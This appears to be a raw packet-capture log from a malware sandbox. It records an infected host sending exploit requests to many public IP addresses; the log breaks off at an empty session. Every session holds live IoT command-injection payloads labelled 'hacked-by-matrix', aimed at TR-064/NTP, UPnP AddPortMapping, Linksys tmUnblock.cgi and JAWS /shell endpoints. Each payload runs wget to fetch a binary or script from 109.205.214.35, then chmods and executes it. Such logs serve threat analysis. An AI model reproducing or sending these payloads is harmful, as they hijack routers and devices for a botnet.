808	192.168.2.23	46436	179.153.183.144	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:13.409435987 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:14.151413918 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
809	192.168.2.23	54084	144.86.5.175	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:13.409454107 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:14.637990952 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:16.109772921 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:19.053400993 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:24.940586090 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:36.719506979 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:27:00.263636112 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
810	192.168.2.23	44082	34.49.50.97	5555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:13.548796892 CET	893	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
811	192.168.2.23	34694	104.17.130.5	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:13.877053976 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:26:14.383503914 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
812	192.168.2.23	35780	81.151.14.142	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:14.411122084 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:15.374064922 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:16.525712013 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:16.701539993 CET	86	IN	HTTP/1.1 503 Service Unavailable Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
813	192.168.2.23	39210	197.203.51.120	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:14.438666105 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
814	192.168.2.23	39596	197.203.51.120	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:14.644990921 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:15.277900934 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
815	192.168.2.23	36886	94.120.220.139	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:14.876269102 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
816	192.168.2.23	38884	45.60.25.103	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:15.043737888 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:15.861491919 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
817	192.168.2.23	46814	91.197.142.75	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:15.069540977 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:15.235485077 CET	292	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:26:15 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
818	192.168.2.23	36890	94.120.220.139	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:15.105849028 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
819	192.168.2.23	58898	93.39.177.214	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:15.106314898 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
820	192.168.2.23	33270	32.211.13.103	7547

Timestamp	Bytes transferred	Direction	Data
